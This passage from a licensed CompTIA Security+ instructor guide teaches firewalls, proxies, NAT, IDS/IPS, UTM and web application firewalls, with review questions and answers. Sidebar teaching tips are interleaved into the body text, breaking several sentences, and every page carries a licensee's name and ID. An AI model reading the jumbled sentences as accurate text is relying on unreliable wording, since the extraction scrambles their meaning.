inspection capability. Session data is stored in a state table. When a packet arrives, the Teaching
firewall checks it to confirm whether it belongs to an existing connection. If it does not, Tip
it applies the ordinary packet filtering rules to determine whether to allow it. Once the Note that very few,
connection has been allowed, the firewall usually allows traffic to pass unmonitored, in if any, firewalls are
order to conserve processing effort. wholly stateless
anymore. The
principal distinction
is between firewalls
that track state at the
transport layer and
those that can monitor
application sessions.

State table in the pfSense firewall appliance. (Screenshot used with permission
from Rubicon Communications, LLC.)

Stateful inspection can occur at two layers: transport and application.

Transport Layer (OSI Layer 4)

At the transport layer, the firewall examines the TCP three-way handshake to
distinguish new from established connections. A legitimate TCP connection should
follow a SYN > SYN/ACK > ACK sequence to establish a session, which is then tracked
using sequence numbers. Deviations from this, such as SYN without ACK or sequence
number anomalies, can be dropped as malicious flooding or session hijacking
attempts. The firewall can be configured to respond to such attacks by blocking source
IP addresses and throttling sessions. It can also track UDP connections, though this
is harder as UDP is a connectionless protocol. It is also likely to be able to detect IP
header and ICMP anomalies.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 258 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

pfSense firewall rule configuration—Advanced settings allow maximums for states and
connections to be applied. (Screenshot used with permission from pfsense.org.)

Application Layer (OSI Layer 7)

An application-aware firewall can inspect the contents of packets at the application
layer. One key feature is to verify the application protocol matches the port; to verify
that malware isn't sending raw TCP data over port 80 just because port 80 is open,
for instance. As another example, a web application firewall could analyze the HTTP
headers and the HTML code present in HTTP packets to try to identify code that
matches a pattern in its threat database. Application-aware firewalls have many
different names, including application layer gateway, stateful multilayer inspection,
or deep packet inspection. Application aware devices have to be configured with
separate filters for each type of traffic (HTTP and HTTPS, SMTP/POP/IMAP, FTP, and
so on). Application aware firewalls are very powerful, but they are not invulnerable.
Their very complexity means that it is possible to craft DoS attacks against exploitable
Show Slide(s) vulnerabilities in the firewall firmware. Also, the firewall cannot examine encrypted
data packets, unless configured with an SSL/TLS inspector.
iptables

Teaching
iptables
Tip iptables is a command line utility provided by many Linux distributions that allows
iptables is referenced administrators to edit the rules enforced by the Linux kernel firewall (linux.die.net/
in Network+, but not man/8/iptables). iptables works with chains, which apply to the different types of
in Security+, so we traffic, such as the INPUT chain for traffic destined for the local host. Each chain has
include it here as a
recap. If students
a default policy set to DROP or ALLOW traffic that does not match a rule. Each rule,
have not completed processed in order, determines whether traffic matching the criteria is allowed or
Network+, make sure dropped.
they know the basics
of how it operates The command iptables --list INPUT --line-numbers -n will show
and how to read the the contents of the INPUT chain with line numbers and no name resolution. The rules
output. in the following example drop any traffic from the specific host at 10.1.0.192 and allow

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 259

ICMP echo requests (pings), DNS, and HTTP/HTTPS traffic either from the local subnet
(10.1.0.0/24) or from any network (0.0.0.0/0):
Chain INPUT (policy DROP)
# target prot opt source   destination   
1 DROP  all -- 10.1.0.192  0.0.0.0/0    
2 ACCEPT icmp -- 10.10.0.0/24 0.0.0.0/0 icmptype 8
3 ACCEPT udp -- 0.0.0.0/0  0.0.0.0/0  udp dpt:53
4 ACCEPT tcp -- 0.0.0.0/0  0.0.0.0/0  tcp dpt:53
5 ACCEPT tcp -- 10.1.0.0/24 0.0.0.0/0  tcp dpt:80
6 ACCEPT tcp -- 10.1.0.0/24 0.0.0.0/0  tcp dpt:443
7 ACCEPT all -- 0.0.0.0/0  0.0.0.0/0  ctstate
RELATED,ESTABLISHED
The destination 0.0.0.0/0 means "anywhere." When set on the INPUT chain, the effect
is to match any IP address that the local host is currently using. The ctstate rule is
a stateful rule that allows any traffic that is part of an established or related session. Show Slide(s)
As established connections should already have been allowed, this reduces processing
requirements to minimize impact on traffic flow.
Firewall
The following command will insert a new rule as line 2 to allow traffic to the SSH server Implementation
TCP port (22) from the local subnet:
Teaching
iptables -I INPUT 2 -p tcp -s 10.1.0.0/24 --dport 22 Tip
-j ACCEPT
Firewalls can be
Different switches can be used to append (-A), delete (-D), or replace (-R) rules. implemented in
many different
ways. They are often
Firewall Implementation implemented as a
function within a
You should consider how the firewall is implemented—as hardware or software, for product, as well as
the dedicated security
instance—to cover a given placement or use on the network. Some types of firewalls
appliances.
are better suited for placement at the network edge or zonal borders; others are
designed to protect individual hosts. Interaction
Opportunity
Firewall Appliances
As with most of these
An appliance firewall is a stand-alone hardware firewall deployed to monitor traffic security appliances,
it is best to look at
passing into and out of a network zone. A firewall appliance can be deployed in two the features of actual
ways: products, rather than
depend too much
• Routed (layer 3)—the firewall performs forwarding between subnets. Each interface
on categorizations.
on the firewall connects to a different subnet and represents a different security Refer students to
zone. vendor sites such
as barracuda.
• Bridged (layer 2)—the firewall inspects traffic passing between two nodes, such com, checkpoint.
as a router and a switch. This is also referred to as transparent mode. The firewall com,fortinet.com,
does not have an IP interface (except for configuration management). It bridges the or pfsense.org. Get
Ethernet interfaces between the two nodes. Despite performing forwarding at layer students to visit one
site per group and
2, the firewall can still inspect and filter traffic on the basis of the full range of packet then compare features
headers. The typical use case for a transparent firewall is to deploy it without having supported by the
to reconfigure subnets and reassign IP addresses on other devices. different vendors.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 260 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Cisco ASA (Adaptive Security Appliance) ASDM (Adaptive Security Device Manager) interface.
(Screenshot used with permission from Cisco.)

A router firewall or firewall router appliance implements filtering functionality as part

of the router firmware. The difference is that a router appliance is primarily designed
for routing, with firewall as a secondary feature. SOHO Internet router/modems come
with a firewall built-in, for example.

Application-Based Firewalls
Firewalls can also run as software on any type of computing host. There are several
types of application-based firewalls:
• Host-based firewall (or personal firewall)—implemented as a software
application running on a single host designed to protect that host only. As well as
enforcing packet filtering ACLs, a personal firewall can be used to allow or deny
software processes from accessing the network.

• Application firewall—software designed to run on a server to protect a particular

application only (a web server firewall, for instance, or a firewall designed to protect
Show Slide(s) an SQL Server database). This is a type of host-based firewall and would typically be
deployed in addition to a network firewall.
Proxies and Gateways
• Network operating system (NOS) firewall—a software-based firewall running
Teaching under a network server OS, such as Windows or Linux. The server would function as
Tip a gateway or proxy for a network segment.
Point out that many
proxy servers are
used to implement
Proxies and Gateways
application-layer
firewalls, but they can
A firewall that performs application layer filtering is likely to be implemented as a
also improve client proxy. Where a network firewall only accepts or blocks traffic, a proxy server works
performance (through on a store-and-forward model. The proxy deconstructs each packet, performs analysis,
a caching engine). then rebuilds the packet and forwards it on, providing it conforms to the rules.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 261

The amount of rebuilding depends on the proxy. Some proxies may only manipulate the
IP and TCP headers. Application-aware proxies might add or remote HTTP headers. A deep
packet inspection proxy might be able to remove content from an HTTP payload.

Forward Proxy Servers

A forward proxy provides for protocol-specific outbound traffic. For example, you
might deploy a web proxy that enables client computers on the LAN to connect to
websites and secure websites on the Internet. This is a forward proxy that services TCP
ports 80 and 443 for outbound traffic.

Configuring content filter settings for the Squid proxy server (squid-cache.org) running on pfSense.
The filter can apply ACLs and time-based restrictions, and use blacklists to prohibit access to URLs.
(Screenshot used with permission from Rubicon Communications, LLC.)

The main benefit of a proxy is that client computers connect to a specified point on
the perimeter network for web access. The proxy can be positioned within a DMZ.
This provides for a degree of traffic management and security. In addition, most web
proxy servers provide caching engines, whereby frequently requested web pages
are retained on the proxy, negating the need to re-fetch those pages for subsequent
requests.
A proxy server must understand the application it is servicing. For example, a web
proxy must be able to parse and modify HTTP and HTTPS commands (and potentially
HTML and scripts too). Some proxy servers are application-specific; others are
multipurpose. A multipurpose proxy is one configured with filters for multiple protocol
types, such as HTTP, FTP, and SMTP.
Proxy servers can generally be classed as non-transparent or transparent.
• A non-transparent proxy means that the client must be configured with the proxy
server address and port number to use it. The port on which the proxy server
accepts client connections is often configured as port 8080.auto

• A transparent (or forced or intercepting) proxy intercepts client traffic without

the client having to be reconfigured. A transparent proxy must be implemented on a
switch or router or other inline network appliance.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 262 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Configuring transparent proxy settings for the Squid proxy server (squid-cache.org) running on pfSense.
(Screenshot used with permission from Rubicon Communications, LLC.)

Both types of proxy can be configured to require users to be authenticated before

allowing access. The proxy is likely to be able to use SSO to do this without having to
prompt the user for a password.

A proxy autoconfiguration (PAC) script allows a client to configure proxy settings without
user intervention. The Web Proxy Autodiscovery (WPAD) protocol allows browsers to locate
a PAC file. This can be an attack vector, as a malicious proxy on the local network can be
used to obtain the user's hash as the browser tries to authenticate (nopsec.com/responder-
beyond-wpad).

Reverse Proxy Servers

A reverse proxy server provides for protocol-specific inbound traffic. For security
purposes, you might not want external hosts to be able to connect directly to
application servers, such as web, email, and VoIP servers. Instead, you can deploy a
reverse proxy on the network edge and configure it to listen for client requests from a
public network (the Internet). The proxy applies filtering rules and if accepted, it creates
the appropriate request for an application server within a DMZ. In addition, some
reverse proxy servers can handle application-specific load balancing, traffic encryption,
and caching, reducing the overhead on the application servers.

Show Slide(s) Access Control Lists

Access Control Lists
Firewall access control lists (ACLs) are configured on the principle of least access.
This is the same as the principle of least privilege; only allow the minimum amount of
Teaching traffic required for the operation of valid network services and no more. The rules in a
Tip firewall's ACL are processed top-to-bottom. If traffic matches one of the rules, then it is
Emphasize firewall
allowed to pass; consequently, the most specific rules are placed at the top. The final
rule processing and default rule is typically to block any traffic that has not matched a rule (implicit deny).
the concept of implicit If the firewall does not have a default implicit deny rule, an explicit deny all rule can be
deny. added manually to the end of the ACL.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 263

Sample firewall ruleset configured on pfSense. This ruleset blocks all traffic from bogon networks and
a specific private address range but allows any HTTP, HTTPS, or SMTP traffic from any other source.
(Screenshot used with permission from Rubicon Communications, LLC.)

Each rule can specify whether to block or allow traffic based on several parameters,
often referred to as tuples. If you think of each rule being like a row in a database, the
tuples are the columns. For example, in the previous screenshot, the tuples include
Protocol, Source (address), (Source) Port, Destination (address), (Destination) Port, and
so on.
Even the simplest packet filtering firewall can be complex to configure securely. It is
essential to create a written policy describing what a filter ruleset should do and to test
the configuration as far as possible to ensure that the ACLs you have set up work as
intended. Also test and document changes made to ACLs. Some other basic principles
include:
• Block incoming requests from internal or private IP addresses (that have obviously
been spoofed).

• Block incoming requests from protocols that should only be functioning at a local
network level, such as ICMP, DHCP, or routing protocol traffic.

• Use penetration testing to confirm the configuration is secure. Log access attempts
and monitor the logs for suspicious activity.
Show Slide(s)
• Take the usual steps to secure the hardware on which the firewall is running and
use of the management interface. Network Address
Translation

Network Address Translation Teaching

Tip
Network address translation (NAT) was devised as a way of freeing up scarce IP
Make sure students
addresses for hosts needing Internet access. A private network will typically use a
can identify private
private addressing scheme to allocate IP addresses to hosts. These addresses can be address ranges. Stress
drawn from one of the pools of addresses defined in RFC 1918 (tools.ietf.org/html/ that NAT is not a
rfc1918) as non-routable over the Internet: security mechanism,
without combining it
• 10.0.0.0 to 10.255.255.255 (Class A private address range). with traffic filters.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 264 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• 172.16.0.0 to 172.31.255.255 (Class B private address range).

• 192.168.0.0 to 192.168.255.255 (Class C private address range).

A NAT gateway is a service that translates between the private addressing scheme
used by hosts on the LAN and the public addressing scheme used by router, firewall,
or proxy server on the network edge. NAT provides security in the sense that it can
manage ingress and egress traffic at well-defined points on the network edge, but it is
important to realize that it does not perform a filtering function.
There are several types of NAT:
• Static and dynamic source NAT—perform 1:1 mappings between private ("inside
local") network address and public ("inside global") addresses. These mappings can
be static or dynamically assigned.

• Overloaded NAT/Network Address Port Translation (NAPT)/Port Address

Translation (PAT)—provides a means for multiple private IP addresses to be
mapped onto a single public address. For example, say two hosts (192.168.0.101
and 192.168.0.102) initiate a web connection at the same time. The NAPT service
creates two new port mappings for these requests (192.168.0.101:61101 and
192.168.0.102:61102). It then substitutes the private IPs for the public IP and
forwards the requests to the public Internet. It performs a reverse mapping on any
traffic returned using those ports, inserting the original IP address and port number,
and forwards the packets to the internal hosts.

NAT overloading. (Image © 123RF.com.)

• Destination NAT/port forwarding—uses the router's public address to publish

a web service, but forwards incoming requests to a different IP. Port forwarding
means that the router takes requests from the Internet for a particular application
(say, HTTP/port 80) and sends them to a designated host and port in the DMZ
or LAN.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 265

Configuring port forwarding on a pfSense firewall appliance—This rule forwards any HTTP
traffic received on the appliance's WAN interface to the 10.1.0.10 host on the LAN.
(Screenshot used with permission from pfsense.org.)

The larger IPv6 address space makes most use cases for NAT redundant. A host can use a
link-local address to contact neighboring nodes, but any routed traffic should use a globally
unique address. In IPv6 it is routing policies and firewall filtering that manage which hosts
and networks are reachable. That said, there are mechanisms for translating prefixes at the
network edge (NPTv6) and for translation between IPv6 addresses (NAT66) or IPv6 and IPv4
addresses (NAT64 and NAT46).

Virtual Firewalls Show Slide(s)

Virtual firewalls are usually deployed within data centers and cloud services. A virtual Virtual Firewalls
firewall can be implemented in three different ways:
• Hypervisor-based—this means that filtering functionality is built into the hypervisor Teaching
or cloud provisioning tool. You can use the cloud's web app or application Tip
programming interface (API) to write access control lists (ACLs) for traffic arriving or Note that we will
leaving a virtual host or virtual network. cover cloud security in
more detail in another
• Virtual appliance—this refers to deploying a vendor firewall appliance instance using lesson.
virtualization, in the same way you might deploy a Windows or Linux guest OS.

• Multiple context—this refers to multiple virtual firewall instances running on a

hardware firewall appliance. Each context has a separate interface and can perform
a distinct filtering role.

While they can be deployed like "regular" firewalls for zone-based routing and filtering,
virtual firewalls most significant role is to support the east-west security and zero-trust
microsegmentation design paradigms. They are able to inspect traffic as it passes from
host-to-host or between virtual networks, rather than requiring that traffic be routed
up to a firewall appliance and back.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 266 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Open-Source versus Proprietary Firewalls

Open-Source versus
The ability to inspect source code will be a requirement for high-security environments
Proprietary Firewalls that cannot rely on implicit trust when selecting vendors. The code underpinning
appliance-based, software, and virtual firewalls can be developed as open-source or
proprietary or somewhere in between:
• Wholly proprietary—implemented as a proprietary OS, such as Cisco ASA, Juniper
JunOS, PaloAlto PANOS, or Barracuda's Windows-based appliance.

• Mostly proprietary—developed from a Linux kernel, but with proprietary features

added. Examples include Check Point IPSO, FortiGate FortiOS, and Sonicwall. Any
code developed from a GPL source should be available, but in general terms these
products cannot be used independently of a commercial contract with the vendor.

• Wholly open-souce—these can be used independently of the vendor, but the

vendors typically have commercial appliances and support contracts too. Examples
include pfSense and Smoothwall.

In determining whether to follow a self-installed versus supported deployment, as well

as the core appliance code, you need to consider access to support, update availability,
and access to subscription-based features, such as signatures and threat feeds.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 267

Review Activity:
Firewalls and Proxy Servers
Answer the following questions:

1. True or False? As they protect data at the highest layer of the protocol
stack, application-based firewalls have no basic packet filtering
functionality.

False. All firewall types can perform basic packet filtering (by IP address, protocol type,
port number, and so on).

2. What distinguishes host-based personal software firewall from a network

firewall appliance?

A personal firewall software can block processes from accessing a network connection
as well as applying filtering rules. A personal firewall protects the local host only, while
a network firewall filters traffic for all hosts on the segment behind the firewall.

3. True or false? When deploying a non-transparent proxy, you must configure

clients with the proxy address and port.

True.

4. What is usually the purpose of the default rule on a firewall?

Block any traffic not specifically allowed (implicit deny).

5. True or false? Static NAT means mapping a single public/external IP address

to a single private/internal IP address.

True.

Lesson 10: Implementing Network Security Appliances | Topic 10A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 268 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 10B
Implement Network
Security Monitoring

Teaching EXAM OBJECTIVES COVERED

Tip 3.3 Given a scenario, implement secure network designs
This topic looks at
basic IDS solutions
and at UTM or next-
Intrusion detection and prevention systems are mature security technologies, widely
gen firewalls and
secure web gateways. deployed to monitor company networks. A large part of the monitoring and alerting
data you will be analyzing will come from these systems so it is important that you
Show Slide(s) be able to install them to appropriate locations in the network and configure them
correctly.
Network-Based
Intrusion Detection
Systems
Network-Based Intrusion Detection Systems
An intrusion detection system (IDS) is a means of using software tools to provide
Teaching
real-time analysis of either network traffic or system and application logs. A network-
Tip
based IDS (NIDS) captures traffic via a packet sniffer, referred to as a sensor. It
IDS has mostly analyzes the packets to identify malicious traffic and displays alerts to a console or
developed into IPS
dashboard.
and merged with
firewall and anti-virus/ A NIDS, such as Snort (snort.org), Suricata (suricata-ids.org), or Zeek/Bro (zeek.org)
antispyware software. performs passive detection. When traffic is matched to a detection signature, it raises
The systems are not
as limited by network an alert or generates a log entry, but does not block the source host. This type of
and host bandwidth passive sensor does not slow down traffic and is undetectable by the attacker. It does
as they were a few not have an IP address on the monitored network segment.
years ago. From
the perspective of A NIDS is used to identify and log hosts and applications and to detect attack
the exam, however, signatures, password guessing attempts, port scans, worms, backdoor applications,
you should stress malformed packets or sessions, and policy violations (ports or IP addresses that are
the difference. It is not permitted, for instance). You can use analysis of the logs to tune firewall rulesets,
certainly important remove or block suspect hosts and processes from the network, or deploy additional
to realize that a pure
IDS will only provide a
security controls to mitigate any threats you identify.
passive response.

Lesson 10: Implementing Network Security Appliances | Topic 10B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 269

Viewing an intrusion detection alert generated by Snort in the Kibana app on Security Onion.
(Screenshot Security Onion securityonion.net)

TAPs and Port Mirrors Show Slide(s)

Typically, the packet capture sensor is placed inside a firewall or close to a server of TAPs and Port Mirrors
particular importance. The idea is usually to identify malicious traffic that has managed
to get past the firewall. A single IDS can generate a very large amount of logging and Teaching
alerting data so you cannot just put multiple sensors everywhere in the network Tip
without provisioning the resources to manage them properly. Depending on network Make sure students
size and resources, one or just a few sensors will be deployed to monitor key assets or can distinguish
network paths. between appropriate
locations for sensors
There are three main options for connecting a sensor to the appropriate point in the and the location of
network: the collection/analysis
engine.
• SPAN (switched port analyzer)/mirror port—this means that the sensor is
attached to a specially configured port on the switch that receives copies of frames
addressed to nominated access ports (or all the other ports). This method is not
completely reliable. Frames with errors will not be mirrored and frames may be
dropped under heavy load.

• Passive test access point (TAP)—this is a box with ports for incoming and outgoing
network cabling and an inductor or optical splitter that physically copies the signal
from the cabling to a monitor port. There are types for copper and fiber optic
cabling. Unlike a SPAN, no logic decisions are made so the monitor port receives
every frame—corrupt or malformed or not—and the copying is unaffected by load.

• Active TAP—this is a powered device that performs signal regeneration (again, there
are copper and fiber variants), which may be necessary in some circumstances.
Gigabit signaling over copper wire is too complex for a passive tap to monitor and
some types of fiber links may be adversely affected by optical splitting. Because it
performs an active function, the TAP becomes a point of failure for the links in the
event of power loss. When deploying an active TAP, it is important to use a model
with internal batteries or connect it to a UPS.

A TAP will usually output two streams to monitor a full-duplex link (one channel for
upstream and one for downstream). Alternatively, there are aggregation TAPs, which

Lesson 10: Implementing Network Security Appliances | Topic 10B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 270 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

rebuild the streams into a single channel, but these can drop frames under very
heavy load.

Show Slide(s) Network-Based Intrusion Prevention Systems

Compared to the passive function of an IDS, an intrusion prevention system (IPS) can
Network-Based
provide an active response to any network threats that it matches. One typical preventive
Intrusion Prevention
Systems measure is to end the TCP session, sending a TCP reset packet to the attacking host.
Another option is for the IPS to apply a temporary filter on the firewall to block the
Teaching attacker's IP address (shunning). Other advanced measures include throttling bandwidth
Tip to attacking hosts, applying complex firewall filters, and even modifying suspect packets
Make sure students to render them harmless. Finally, the appliance may be able to run a script or third-party
understand inline program to perform some other action not supported by the IPS software itself.
placement and active
response versus Some IPS provide inline, wire-speed anti-virus scanning. Their rulesets can be
passive detection, configured to provide user content filtering, such as blocking URLs, applying keyword-
alerting, and logging of sensitive block lists or allow lists, or applying time-based access restrictions.
threats.
IPS appliances are positioned like firewalls at the border between two network zones.
As with proxy servers, the appliances are "inline" with the network, meaning that all
traffic passes through them (also making them a single point-of-failure if there is no
fault tolerance mechanism). This means that they need to be able to cope with high
bandwidths and process each packet very quickly to avoid slowing down the network.

Show Slide(s) Signature-Based Detection

In an IDS, the analysis engine is the component that scans and interprets the traffic
Signature-Based
captured by the sensor with the purpose of identifying suspicious traffic. The analysis
Detection
engine determines how any given event should be classed, with typical options to
Teaching ignore, log only, alert, and block (IPS). The analysis engine is programmed with a set
Tip of rules that it uses to drive its decision-making process. There are several methods of
While we don't go
formulating the ruleset.
into detail on Snort/ Signature-based detection (or pattern-matching) means that the engine is loaded
Suricata rules, make
with a database of attack patterns or signatures. If traffic matches a pattern, then the
sure students can
identify the general engine generates an incident.
format.

Snort rules file supplied by the open-source Emerging Threats community feed.

Lesson 10: Implementing Network Security Appliances | Topic 10B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 271

The signatures and rules (often called plug-ins or feeds) powering intrusion detection
need to be updated regularly to provide protection against the latest threat types.
Commercial software requires a paid-for subscription to obtain the updates. It
is important to ensure that the software is configured to update only from valid
repositories, ideally using a secure connection method, such as HTTPS.

Behavior and Anomaly-Based Detection Show Slide(s)

Behavioral-based detection means that the engine is trained to recognize baseline Behavior and
"normal" traffic or events. Anything that deviates from this baseline (outside a defined Anomaly-Based
level of tolerance) generates an incident. The idea is that the software will be able to Detection
identify zero day attacks, insider threats, and other malicious activity for which there is
single signature. Teaching
Tip
Historically, this type of detection was provided by network behavior and anomaly
Make sure students
detection (NBAD) products. An NBAD engine uses heuristics (meaning to learn from understand the
experience) to generate a statistical model of what baseline normal traffic looks like. It may differences between
develop several profiles to model network use at different times of the day. This means detection methods
that the system generates false positive and false negatives until it has had time to improve and false negatives
its statistical model of what is "normal." A false positive is where legitimate behavior and false positives.
generates an alert, while a false negative is where malicious activity is not alerted.
While NBAD products were relatively unsophisticated, the use of machine learning
in more recent products has helped to make them more productive. As identified by
Gartner's market analysis (gartner.com/en/documents/3917096/market-guide-for-
user-and-entity-behavior-analytics), there are two general classes of behavior-based
detection products that utilize machine learning:
• User and entity behavior analytics (UEBA)—these products scan indicators from
multiple intrusion detection and log sources to identify anomalies. They are often
integrated with security information and event management (SIEM) platforms.

• Network traffic analysis (NTA)—these products are closer to IDS and NBAD in
that they apply analysis techniques only to network streams, rather than multiple
network and log data sources.

Often behavioral- and anomaly-based detection are taken to mean the same thing (in
the sense that the engine detects anomalous behavior). Anomaly-based detection can
also be taken to mean specifically looking for irregularities in the use of protocols. For
example, the engine may check packet headers or the exchange of packets in a session
against RFC standards and generate an alert if they deviate from strict RFC compliance.

Next-Generation Firewalls and Content Filters Show Slide(s)

While intrusion detection was originally produced as standalone software or Next-Generation

appliances, its functionality very quickly became incorporated into a new generation Firewalls and Content
of firewalls. The original next-generation firewall (NGFW) was released as far back Filters
as 2010 by Palo Alto. This product combined application-aware filtering with user
account-based filtering and the ability to act as an intrusion prevention system (IPS). Teaching
This approach was quickly adopted by competitor products. Subsequent firewall Tip
generations have added capabilities such as cloud inspection and combined features of Encourage students
different security technologies. to use both market
research and vendor
sites to navigate
Unified Threat Management (UTM) the various product
classifications.
Unified threat management (UTM) refers to a security product that centralizes many
types of security controls—firewall, anti-malware, network intrusion prevention, spam
filtering, content filtering, data loss prevention, VPN, cloud access gateway—into a
single appliance. This means that you can monitor and manage the controls from a

Lesson 10: Implementing Network Security Appliances | Topic 10B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 272 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

single console. Nevertheless, UTM has some downsides. When defense is unified under
a single system, this creates the potential for a single point of failure that could affect
an entire network. Distinct security systems, if they fail, might only compromise that
particular avenue of attack. Additionally, UTM systems can struggle with latency issues
if they are subject to too much network activity. Also, a UTM might not perform as well
as software or a device with a single dedicated security function.

To some extent, NGFW and UTM are just marketing terms. A UTM is seen as turnkey "do
everything" solution, while a NGFW is an enterprise product with fewer features, or more
modularization, and greater configuration complexity, but better performance. It can be
more helpful to focus on the specific product features, rather than trying to present an
implementation decision as a choice of either a NGFW or a UTM.

Content/URL Filter
A firewall has to sustain high loads, and overloads can increase latency or even cause
outages. The high complexity of application-aware NGFW and UTM solutions can
reduce their suitability as an edge device, because while they might provide high
confidentiality and integrity, lower throughput reduces availability. One solution to this
is to treat security solutions for server traffic differently from that for user traffic. User
traffic refers to web browsing, social networking, email, and video/VoIP connections
initiated by local network clients.
Consequently, where a stateful or NGFW firewall may be deployed for application
server traffic, the job of filtering user traffic is often performed by a separate appliance
or proxy host. A content filter is designed to apply a number of user-focused filtering
rules, such as blocking uniform resource locators (URLs) that appear on content
blacklists or applying time-based restrictions to browsing. Content filters are now
usually implemented as a class of product called a secure web gateway (SWG). As well
as filtering, a SWG performs threat analysis and often integrates the functionality of
data loss prevention (DLP) and cloud access security brokers (CASB) to protect against
the full range of unauthorized egress threats, including malware command and control
and data exfiltration.

Show Slide(s) Host-Based Intrusion Detection Systems

Host-Based Intrusion
A host-based IDS (HIDS) captures information from a single host, such as a server,
Detection Systems router, or firewall. Some organizations may configure HIDS on each client workstation.
HIDS come in many different forms with different capabilities. The core ability is
Teaching to capture and analyze log files, but more sophisticated systems can also monitor
Tip OS kernel files, monitor ports and network interfaces, and process data and logs
We're including FIM generated by specific applications, such as HTTP or FTP.
here as part of the
3.3 network design HIDS software produces similar output to an anti-malware scanner. If the software
objective. Note that detects a threat, it may just log the event or display an alert. The log should show you
we will cover endpoint which process initiated the event and what resources on the host were affected. You
protection suites in a can use the log to investigate whether the suspect process is authorized or should be
different lesson.
removed from the host.
One of the core features of HIDS is file integrity monitoring (FIM). This may also be
implemented as a standalone feature. When software is installed from a legitimate
source (using signed code in the case of Windows or a secure repository in the case of
Linux), the OS package manager checks the signature or fingerprint of each executable
file and notifies the user if there is a problem. FIM software audits key system files
to make sure they match the authorized versions. In Windows, the Windows File
Protection service runs automatically and the System File Checker (sfc) tool can be used
manually to verify OS system files. Tripwire (tripwire.com) and OSSEC (ossec.net) are
examples of multi-platform tools with options to protect a wider range of applications.

Lesson 10: Implementing Network Security Appliances | Topic 10B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 273

Web Application Firewalls Show Slide(s)

A web application firewall (WAF) is designed specifically to protect software running Web Application
on web servers and their backend databases from code injection and DoS attacks. Firewalls
WAFs use application-aware processing rules to filter traffic and perform application-
specific intrusion detection. The WAF can be programmed with signatures of known Teaching
attacks and use pattern matching to block requests containing suspect code. The Tip
output from a WAF will be written to a log, which you can inspect to determine what We'll be turning to
threats the web application might be subject to. web application
security in more detail
later in the course. Just
make sure students
can distinguish the
function of a WAF
from more general
network/host firewall/
IDS types.

With the ModSecurity WAF installed to this IIS server, a scanning attempt has been detected and logged
as an Application event. As you can see, the default ruleset generates a lot of events.
(Screenshot used with permission from Microsoft.)

A WAF may be deployed as an appliance or as plug-in software for a web server

platform. Some examples of WAF products include:
• ModSecurity (modsecurity.org) is an open source (sponsored by Trustwave) WAF for
Apache, nginx, and IIS.

• NAXSI (github.com/nbs-system/naxsi) is an open source module for the nginx web

server software.

• Imperva (imperva.com) is a commercial web security offering with a particular focus

on data centers. Imperva markets WAF, DDoS, and database security through its
SecureSphere appliance.

Lesson 10: Implementing Network Security Appliances | Topic 10B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 274 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Network Security Monitoring
Answer the following questions:

1. What is the best option for monitoring traffic passing from host-to-host on
the same switch?

The only option for monitoring intra-switch traffic is to use a mirrored port.

2. What sort of maintenance must be performed on signature-based

monitoring software?

Installing definition/signature updates and removing definitions that are not relevant to
the hosts or services running on your network.

3. What is the principal risk of deploying an intrusion prevention system with

behavior-based detection?

Behavior-based detection can exhibit high false positive rates, where legitimate activity
is wrongly identified as malicious. With automatic prevention, this will block many
legitimate users and hosts from the network, causing availability and support issues.

4. If a Windows system file fails a file integrity check, should you suspect a
malware infection?

Yes—malware is a likely cause that you should investigate.

5. What is a WAF?

A web application firewall (WAF) is designed to protect HTTP and HTTPS applications.
It can be configured with signatures of known attacks against applications, such as
injection-based attacks or scanning attacks.

Lesson 10: Implementing Network Security Appliances | Topic 10B

